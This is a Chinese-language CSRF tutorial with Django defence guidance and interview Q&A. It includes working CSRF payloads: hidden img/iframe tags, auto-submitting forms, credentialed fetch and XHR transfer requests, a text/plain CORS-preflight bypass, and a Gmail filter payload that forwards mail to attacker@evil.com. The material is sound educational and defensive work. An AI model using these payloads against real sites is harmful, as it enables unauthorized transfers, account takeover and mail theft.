CSRF 基礎:跨站請求偽造攻擊

在你不知情的情況下執行操作

⚠️ 免責聲明 本文內容僅供教育與學習用途。請勿將文中技術用於任何未經授權的系統或惡意目的。


📚 本篇重點

  • 🎯 理解 CSRF 攻擊原理與特徵
  • 🔍 區分 CSRF 與 XSS 的差異
  • 💣 認識真實的 CSRF 攻擊案例
  • 🛡️ 學習基礎防禦策略

閱讀時間: 約 15 分鐘 難度: ⭐⭐ 中階


1️⃣ 什麼是 CSRF?

📖 定義

CSRF (Cross-Site Request Forgery),跨站請求偽造,又稱 XSRFSession Riding,是一種攻擊手法,攻擊者誘使受害者在已登入的網站上執行非預期的操作

🔑 關鍵特徵

特徵說明
利用信任利用網站對已認證用戶的信任
非預期操作受害者不知情地執行操作
需要登入狀態攻擊者不需要知道密碼,只需受害者已登入
跨站點攻擊發起自不同的網站(跨站)
自動發送 Cookie瀏覽器自動附帶身份驗證 Cookie

🔄 攻擊流程

Step 1: 受害者登入銀行網站 (bank.com)
        ↓ 獲得 Session Cookie

Step 2: 受害者訪問攻擊者的惡意網站 (evil.com)
        ↓

Step 3: 惡意網站自動發送請求到 bank.com
        (例如:轉帳請求)
        ↓

Step 4: 瀏覽器自動附帶 bank.com 的 Cookie
        ↓

Step 5: bank.com 認為這是合法的用戶請求
        ↓

Step 6: 轉帳完成,受害者不知情 💸

🌟 生活比喻

想像你有一張已簽名的空白支票:

正常情況:

  • 你到銀行櫃檯
  • 填寫支票金額和收款人
  • 交給櫃員處理
  • 櫃員看到你的簽名,認為是你本人授權

CSRF 攻擊:

  • 你到銀行櫃檯,手裡拿著已簽名的空白支票
  • 有個陌生人偷偷在你的支票上填寫了金額和收款人(他自己)
  • 你不知情地把支票交給櫃員
  • 櫃員看到你的簽名,認為是你授權的,就轉帳了
  • 你的錢被轉走,但你完全不知道

關鍵點:

  • 支票 = Session Cookie(已認證身份)
  • 陌生人 = 攻擊者
  • 你不知情 = CSRF 的核心

2️⃣ CSRF vs XSS:關鍵差異

很多人會混淆 CSRF 和 XSS,讓我們清楚區分:

特徵CSRFXSS
攻擊目標執行非預期的操作執行惡意腳本
攻擊者獲得讓受害者執行操作竊取資料、控制頁面
需要注入代碼❌ 不需要✅ 需要
發起位置攻擊者的網站受害網站本身
能否讀取響應❌ 不能✅ 能
能否竊取資料❌ 不能直接竊取✅ 能
防禦重點CSRF TokenOutput Encoding

視覺化對比

XSS 攻擊:

攻擊者 → 注入惡意腳本到 bank.com
       ↓
受害者訪問 bank.com
       ↓
惡意腳本在 bank.com 上執行
       ↓
竊取 Cookie、讀取資料、執行操作

CSRF 攻擊:

受害者已登入 bank.com (有 Cookie)
       ↓
受害者訪問 evil.com
       ↓
evil.com 發送請求到 bank.com
       ↓
瀏覽器自動附帶 Cookie
       ↓
bank.com 執行操作(轉帳等)

簡單記憶法

  • XSS: 「跨站腳本」- 重點在執行腳本,能讀取資料
  • CSRF: 「跨站請求」- 重點在發送請求,能執行操作不能讀取

3️⃣ CSRF 攻擊條件

要成功發動 CSRF 攻擊,需要滿足以下條件:

條件 1: 有價值的操作

網站上存在有價值的操作,例如:

# 轉帳
POST /transfer
money=1000&to=attacker

# 修改密碼
POST /change-password
new_password=hacked123

# 修改 Email
POST /update-email
email=attacker@evil.com

# 刪除帳號
POST /delete-account
confirm=yes

# 購買商品
POST /buy
product_id=123&quantity=10

網站使用 Cookie 進行身份驗證:

# Django Session
request.session['user_id'] = user.id

# Flask Session
session['user_id'] = user.id

# Cookie-based authentication
# 瀏覽器會自動附帶 Cookie!

為什麼基於 Cookie 的驗證有風險?

瀏覽器行為:
- 訪問 bank.com → 自動發送 bank.com 的 Cookie ✅
- 從 evil.com 發請求到 bank.com → 也會自動發送 bank.com 的 Cookie! ⚠️

條件 3: 沒有不可預測的參數

所有請求參數都可被攻擊者預測或獲得:

# ❌ 容易受攻擊:所有參數都可預測
POST /transfer
money=1000
to=attacker
from=victim  # 可以從 URL 或其他地方得知

# ✅ 較難攻擊:有不可預測的參數
POST /transfer
money=1000
to=attacker
from=victim
csrf_token=8a7d9f2e3b4c5d6e  # 攻擊者無法得知!

條件 4: 沒有額外驗證

操作沒有額外的驗證步驟:

# ❌ 容易受攻擊:沒有額外驗證
@app.route('/transfer', methods=['POST'])
def transfer():
    # 直接執行轉帳
    amount = request.form['amount']
    to = request.form['to']
    do_transfer(amount, to)

# ✅ 較安全:有額外驗證
@app.route('/transfer', methods=['POST'])
def transfer():
    # 需要重新輸入密碼
    password = request.form['password']
    if not verify_password(password):
        return "密碼錯誤"

    amount = request.form['amount']
    to = request.form['to']
    do_transfer(amount, to)

4️⃣ 真實案例分析

案例 1: YouTube CSRF (2008)

漏洞細節:

  • YouTube 的「添加好友」功能沒有 CSRF 保護
  • 攻擊者可以強制受害者添加自己為好友

攻擊代碼:

<!-- 攻擊者在自己的網站放置 -->
<img src="https://www.youtube.com/add_friend?user=attacker" style="display:none">

攻擊流程:

  1. 受害者登入 YouTube
  2. 訪問攻擊者的惡意網站
  3. 瀏覽器自動加載 <img> 標籤
  4. 發送請求到 YouTube 添加好友
  5. YouTube 看到合法的 Cookie,執行操作
  6. 攻擊者成為受害者的好友

影響: 攻擊者可以獲得受害者的影片列表、訂閱等資訊

修復: YouTube 實施了 CSRF Token


案例 2: ING Direct 銀行 CSRF (2008)

漏洞細節:

  • ING Direct 銀行的轉帳功能沒有 CSRF 保護
  • 攻擊者可以強制受害者轉帳

攻擊代碼:

<!-- 惡意網站 -->
<form id="csrf" action="https://secure.ingdirect.com/transfer" method="POST">
    <input type="hidden" name="amount" value="1000">
    <input type="hidden" name="to_account" value="attacker_account">
</form>

<script>
    // 自動提交表單
    document.getElementById('csrf').submit();
</script>

攻擊流程:

  1. 受害者登入 ING Direct
  2. 訪問惡意網站(可能是釣魚郵件連結)
  3. 表單自動提交
  4. $1000 被轉到攻擊者帳戶
  5. 受害者不知情

影響: 直接財務損失

修復: 實施 CSRF Token + 轉帳需要額外驗證


案例 3: Gmail CSRF 過濾器繞過 (2007)

漏洞細節:

  • Gmail 的郵件過濾器功能有 CSRF 漏洞
  • 攻擊者可以建立過濾器,將受害者的郵件轉發到攻擊者信箱

攻擊代碼:

<img src="https://mail.google.com/mail/h/[session]/?v=prf&at=[token]&
    cf1_from=&cf1_to=&cf1_subj=&cf1_has=&cf1_hasnot=&cf1_attach=&
    tfi=&s=z&
    irf=on&
    nvp_bu_cftb=Create+Filter&
    fwd_addr=attacker@evil.com">

攻擊流程:

  1. 受害者登入 Gmail
  2. 點擊惡意連結或訪問惡意網站
  3. 自動建立郵件過濾器
  4. 所有郵件被轉發到攻擊者信箱
  5. 攻擊者可以讀取受害者所有郵件

影響:

  • 隱私洩露
  • 可能獲得密碼重設郵件
  • 可能獲得敏感商業資訊

修復: Google 強化了 CSRF 保護


案例 4: Netflix CSRF (2006)

漏洞細節:

  • Netflix 的「修改帳戶資訊」功能沒有 CSRF 保護
  • 攻擊者可以修改受害者的郵件地址和密碼

攻擊步驟:

  1. 修改受害者的 Email 為攻擊者的 Email
  2. 使用「忘記密碼」功能重設密碼
  3. 完全控制受害者的 Netflix 帳戶

影響: 帳戶被接管


5️⃣ CSRF 攻擊類型

類型 1: GET 型 CSRF

最簡單的 CSRF 攻擊,利用 GET 請求:

<!-- 方法 1:使用 <img> 標籤 -->
<img src="http://bank.com/transfer?amount=1000&to=attacker" style="display:none">

<!-- 方法 2:使用 <iframe> -->
<iframe src="http://bank.com/transfer?amount=1000&to=attacker" style="display:none"></iframe>

<!-- 方法 3:使用 <script> 標籤 -->
<script src="http://bank.com/transfer?amount=1000&to=attacker"></script>

<!-- 方法 4:使用 <link> 標籤 -->
<link rel="stylesheet" href="http://bank.com/transfer?amount=1000&to=attacker">

為什麼 GET 型 CSRF 危險?

- 不需要用戶交互(自動加載)
- 可以偽裝成圖片、CSS 等資源
- 瀏覽器自動發送請求

防禦: 永遠不要用 GET 執行狀態改變操作!


類型 2: POST 型 CSRF

利用 POST 請求,更隱蔽:

<!-- 攻擊者的惡意網站 -->
<!DOCTYPE html>
<html>
<body>
    <h1>恭喜!您中獎了!</h1>
    <p>請稍候,正在處理...</p>

    <!-- 隱藏的表單 -->
    <form id="csrf-form" action="http://bank.com/transfer" method="POST" style="display:none">
        <input type="hidden" name="amount" value="10000">
        <input type="hidden" name="to" value="attacker_account">
    </form>

    <script>
        // 自動提交表單
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

變種:使用 AJAX

<script>
// 使用 XMLHttpRequest
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://bank.com/transfer', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.withCredentials = true;  // 發送 Cookie
xhr.send('amount=10000&to=attacker_account');
</script>

類型 3: JSON CSRF

針對 JSON API 的攻擊:

<script>
// 方法 1:使用 fetch
fetch('http://api.bank.com/transfer', {
    method: 'POST',
    credentials: 'include',  // 包含 Cookie
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        amount: 10000,
        to: 'attacker_account'
    })
});

// 方法 2:繞過 Content-Type 檢查
// 使用 text/plain(不會觸發 CORS preflight)
fetch('http://api.bank.com/transfer', {
    method: 'POST',
    credentials: 'include',
    headers: {
        'Content-Type': 'text/plain'
    },
    body: JSON.stringify({
        amount: 10000,
        to: 'attacker_account'
    })
});
</script>

注意: 現代瀏覽器的 CORS 政策會阻擋某些跨域請求,但不是所有!


6️⃣ Django 的 CSRF 保護

Django 內建強大的 CSRF 保護機制。

Django CSRF 如何運作?

# 1. Django 生成 CSRF Token
# 當用戶首次訪問時,Django 在 Cookie 中設置一個 CSRF Token

# 2. 表單中必須包含 CSRF Token
# settings.py
MIDDLEWARE = [
    # ...
    'django.middleware.csrf.CsrfViewMiddleware',  # CSRF 中間件
]

# 3. 驗證請求
# Django 會比對:
# - Cookie 中的 CSRF Token
# - 表單/請求中的 CSRF Token
# 兩者必須一致!

在 Django Template 中使用

<!-- ✅ 正確:包含 {% csrf_token %} -->
<form method="post">
    {% csrf_token %}
    <input type="text" name="username">
    <button type="submit">提交</button>
</form>

<!-- 生成的 HTML -->
<form method="post">
    <input type="hidden" name="csrfmiddlewaretoken"
           value="8a7d9f2e3b4c5d6e...">
    <input type="text" name="username">
    <button type="submit">提交</button>
</form>

CSRF Token 的雙重驗證

Cookie:  csrftoken=abc123xyz
         ↓
表單中:  csrfmiddlewaretoken=abc123xyz
         ↓
Django 驗證: Cookie Token == 表單 Token ?
         ↓
相同 → 允許請求 ✅
不同 → 拒絕請求 ❌ (403 Forbidden)

為什麼這能防禦 CSRF?

攻擊者的惡意網站:
- 可以發送請求到 bank.com
- 瀏覽器會自動附帶 bank.com 的 Cookie
- 但攻擊者無法讀取 Cookie 中的 CSRF Token!
- 因此無法在表單中提供正確的 Token
- 請求被拒絕 ✅

7️⃣ 基礎防禦策略

防禦 1: CSRF Token (最重要)

# Django (自動啟用)
# views.py
from django.shortcuts import render

def transfer(request):
    if request.method == 'POST':
        # Django 自動驗證 CSRF Token
        amount = request.POST['amount']
        to = request.POST['to']
        # 執行轉帳...

    return render(request, 'transfer.html')
<!-- transfer.html -->
<form method="post">
    {% csrf_token %}  <!-- 必須包含! -->
    <input type="number" name="amount" placeholder="金額">
    <input type="text" name="to" placeholder="收款帳號">
    <button type="submit">轉帳</button>
</form>

# settings.py (Django 3.1+)
SESSION_COOKIE_SAMESITE = 'Lax'  # 或 'Strict'
CSRF_COOKIE_SAMESITE = 'Lax'

# 'Strict': 完全阻止跨站發送 Cookie
# 'Lax': 允許 GET 請求,阻止 POST 等
# 'None': 不限制(不安全!)

SameSite 運作原理:

SameSite=Strict:
- 從 evil.com 發請求到 bank.com → Cookie 不會被發送 ✅

SameSite=Lax:
- 從 evil.com 的 <a> 連結到 bank.com → Cookie 會被發送
- 從 evil.com 的 <form> POST 到 bank.com → Cookie 不會被發送 ✅

防禦 3: 驗證 Referer/Origin Header

# Django View
from django.http import HttpResponseForbidden

def sensitive_operation(request):
    # 檢查 Referer
    referer = request.META.get('HTTP_REFERER', '')
    allowed_domains = ['https://bank.com', 'https://www.bank.com']

    if not any(referer.startswith(domain) for domain in allowed_domains):
        return HttpResponseForbidden('Invalid referer')

    # 執行操作...

注意: Referer 可能被瀏覽器隱私設定移除,不應作為唯一防禦!


防禦 4: 雙重驗證

# Django View
def delete_account(request):
    if request.method == 'POST':
        # 除了 CSRF Token,還要驗證密碼
        password = request.POST.get('password')

        if not request.user.check_password(password):
            return HttpResponse('密碼錯誤', status=403)

        # 刪除帳號...
        request.user.delete()
        return HttpResponse('帳號已刪除')

    return render(request, 'delete_account.html')

8️⃣ 面試常見問題

Q1: CSRF 和 XSS 的主要差異是什麼?

參考答案:

對比項CSRFXSS
攻擊目標讓受害者執行非預期操作執行惡意腳本,竊取資料
能否讀取響應❌ 不能✅ 能
需要注入代碼❌ 不需要✅ 需要注入到目標網站
發起位置攻擊者的網站目標網站本身
防禦方法CSRF Token, SameSite CookieOutput Encoding, CSP

簡單記憶:

  • CSRF: 「我能讓你執行操作,但看不到結果」
  • XSS: 「我能執行腳本,能看到和竊取一切」

實例:

CSRF:
- 攻擊者能強制你轉帳
- 但攻擊者看不到你的帳戶餘額

XSS:
- 攻擊者能竊取你的 Cookie
- 攻擊者能讀取頁面上的任何資料
- 攻擊者能代表你執行任何操作

Q2: 為什麼 CSRF Token 能防禦 CSRF 攻擊?

參考答案:

CSRF Token 防禦原理:

  1. Token 的不可預測性:
# Django 生成隨機 Token
import secrets
csrf_token = secrets.token_hex(32)  # 64 字符的隨機字串
  1. 雙重提交模式:
Cookie:  csrftoken=abc123
表單:    csrfmiddlewaretoken=abc123

Django 驗證: Cookie Token == 表單 Token ?
  1. 為什麼攻擊者無法繞過?
攻擊者在 evil.com:
- ✅ 可以發送請求到 bank.com
- ✅ 瀏覽器會自動附帶 bank.com 的 Cookie
- ❌ 但攻擊者無法讀取 Cookie 中的 CSRF Token!
  (Same-Origin Policy 阻止跨域讀取 Cookie)
- ❌ 因此無法在表單中提供正確的 Token
- ❌ 請求被 Django 拒絕(403 Forbidden)

關鍵點:

  • Token 儲存在 Cookie 中(瀏覽器會自動發送)
  • Token 也必須在表單中(攻擊者無法得知)
  • 兩者必須一致

為什麼不能只檢查 Cookie?

# ❌ 不安全
def transfer(request):
    # 只檢查 Cookie 中有沒有 Token
    if 'csrftoken' in request.COOKIES:
        # 執行轉帳
        pass

# 問題:攻擊者發送的請求也會自動帶上 Cookie!

參考答案:

SameSite Cookie 防禦原理:

# Django 設定
SESSION_COOKIE_SAMESITE = 'Lax'  # 或 'Strict'

三種模式:

  1. Strict (最嚴格):
任何跨站請求都不發送 Cookie

例子:
- 你在 evil.com
- 點擊連結到 bank.com
- Cookie 不會被發送
- 你需要重新登入 bank.com

用途:高安全性網站(銀行)
  1. Lax (推薦):
允許「安全」的跨站請求發送 Cookie

允許:
- GET 請求(透過 <a> 連結)
- 從其他網站直接導航到你的網站

不允許:
- POST、PUT、DELETE 等請求
- <form>, <img>, <script> 等

用途:大多數網站
  1. None (不安全):
所有跨站請求都發送 Cookie(必須配合 Secure 使用)

SESSION_COOKIE_SAMESITE = 'None'
SESSION_COOKIE_SECURE = True  # 必須 HTTPS

局限性:

  1. 瀏覽器兼容性:
- 舊版瀏覽器不支援 SameSite
- IE 11 不支援
  1. 不能防禦同站攻擊:
如果攻擊者能在你的網站上注入內容(XSS):
- SameSite 無效(因為是「同站」)
- 仍需要 CSRF Token
  1. GET 請求仍有風險(Lax 模式):
SameSite=Lax 允許 GET 跨站請求

如果你用 GET 做狀態改變:
GET /delete-account?confirm=yes
→ 仍然可以被 CSRF 攻擊!
  1. 子域名問題:
SameSite 基於「站點」(site),不是「源」(origin)

example.com 和 sub.example.com 被視為同站
→ 子域名攻擊仍然可能

最佳實踐:

SameSite Cookie + CSRF Token = 雙重保護 ✅

不要只依賴其中一個!

9️⃣ 重點回顧

核心概念

  1. CSRF 的本質:

    • 利用網站對已認證用戶的信任
    • 誘使受害者執行非預期操作
    • 攻擊者看不到響應(但操作已執行)
  2. CSRF vs XSS:

    • CSRF: 執行操作,但不能讀取
    • XSS: 執行腳本,能讀取和竊取
  3. 攻擊條件:

    • 有價值的操作
    • 基於 Cookie 的認證
    • 沒有不可預測的參數
    • 沒有額外驗證
  4. 防禦策略:

    • CSRF Token(最重要)
    • SameSite Cookie
    • 驗證 Referer/Origin
    • 雙重驗證(敏感操作)

安全檢查清單

開發階段:

  • 所有 POST/PUT/DELETE 請求都使用 CSRF Token
  • 永遠不用 GET 執行狀態改變操作
  • 設置 SameSite Cookie
  • 敏感操作要求額外驗證(密碼、OTP)
  • 使用 Django 的 {% csrf_token %}

Django 設定:

  • MIDDLEWARE 包含 CsrfViewMiddleware
  • SESSION_COOKIE_SAMESITE = 'Lax'
  • CSRF_COOKIE_SAMESITE = 'Lax'
  • CSRF_COOKIE_HTTPONLY = True
  • CSRF_COOKIE_SECURE = True (生產環境)

測試:

  • 嘗試在沒有 CSRF Token 的情況下提交表單
  • 測試跨域請求是否被阻擋
  • 檢查 SameSite Cookie 是否正確設置

📖 延伸閱讀


🔗 系列導航


📝 本文完成日期: 2025-01-15 🔖 標籤: #WebSecurity #CSRF #XSRF #Django #Python #面試準備

0%